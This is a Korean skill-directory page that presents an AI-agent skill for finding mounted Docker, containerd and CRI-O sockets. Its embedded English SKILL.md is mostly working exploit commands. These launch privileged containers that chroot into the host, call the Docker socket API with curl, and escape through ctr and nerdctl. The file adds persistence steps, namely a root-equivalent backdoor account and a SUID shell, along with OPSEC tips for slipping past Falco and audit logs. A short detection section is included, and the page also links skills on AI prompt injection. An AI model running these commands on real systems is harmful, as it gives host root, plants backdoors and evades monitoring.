docker-socket-mount
하는 일
이 스킬은 Docker나 containerd 소켓이 컨테이너 안에 마운트되어 사실상 호스트의 루트 권한을 주는 흔한 컨테이너 구성을 다룹니다. CI 러너와 GitOps 도구를 검토하는 플랫폼 및 보안 팀을 위한 스킬입니다.
사용하는 경우
- ✓플랫폼 팀이 Docker나 containerd 소켓이 마운트된 컨테이너를 찾아 달라고 에이전트에게 요청할 때.
- ✓에이전트가 이 노출을 위해 CI 러너, GitOps 컨트롤러, Docker-in-Docker 설정을 검토할 때.
- ✓감사 보고서에 마운트된 소켓이 심각한 위험인 이유를 설명해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 CI 러너 컨테이너 중 내부에 Docker 소켓이 마운트된 것이 있는지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 각 러너의 컨테이너 마운트와 소켓 경로를 확인하고, 찾은 소켓을 보고하며, 호스트 수준의 위험을 설명합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Docker / Containerd Socket Mount Escape
A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
Detect
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1
Exploit — Docker socket
# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
Exploit — containerd socket
# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host
Exploit — CRI-O socket
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.
Common attack contexts
| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
Persistence
# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x
OPSEC
- The Docker API logs every container create (
/var/log/docker.logor journald). Use a benign-sounding image name. - Falco rules
attach_drop_capability,escape_to_host_namespaceflag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather thandocker run(multiple). - CRI-O auditing logs every
RunPodSandbox— same evasion approach.
Detection (defender lens, useful for triage)
- Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks
hostPath: /var/run/docker.sockat admit time. - Falco rule
Mount docker.sockcatches the runtime case. - AppArmor profile
docker-defaultdoesn't block this — needs custom profile.
자주 묻는 질문
마운트된 소켓이 왜 그렇게 심각한가요?
스킬은 소켓과 통신할 수 있는 사람이 호스트의 파일을 가진 특권 컨테이너를 시작할 수 있으며, 이는 호스트 루트 권한과 같다고 설명합니다.
가장 흔한 설정은 무엇인가요?
CI 러너, ArgoCD와 Flux 컨트롤러, Docker-in-Docker, Jenkins 에이전트를 나열합니다.
이 문제는 어떻게 해결하나요?
마운트를 제거하거나 더 안전한 빌드 도구를 쓰라고 스킬은 권하며, 해결 방법은 팀이 결정합니다.
상세 정보
작성자의 원본 설명
Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13989
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.